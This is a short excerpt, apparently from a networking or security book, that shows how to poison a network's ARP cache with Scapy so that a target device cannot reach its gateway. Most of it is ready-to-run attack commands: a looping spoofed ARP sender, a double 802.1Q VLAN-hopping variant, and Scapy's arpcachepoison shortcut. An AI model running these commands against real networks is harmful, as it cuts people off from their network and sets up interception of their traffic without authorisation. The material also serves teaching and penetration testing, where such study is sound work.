April 2017
Intermediate to advanced
350 pages
8h 35m
English
The following is an example of how to use scapy to poison the ARP cache on a network. By using the following commands, the targeted device is prevented from joining the gateway of the network. The commands direct the attack to poison the ARP cache by using a VLAN hopping attack. That is why we set /Dot1Q(vlan=1)/Dot1Q(vlan=2):
>>> send( Ether(dst=XX-XX-XX-XX-XX)/ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 )
Double 802.1q encapsulation:
>>> send( Ether(dst=XX-XX-XX-XX-XX)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 )
The short-cut:
>>>arpcachepoison(target, victim, interval=60)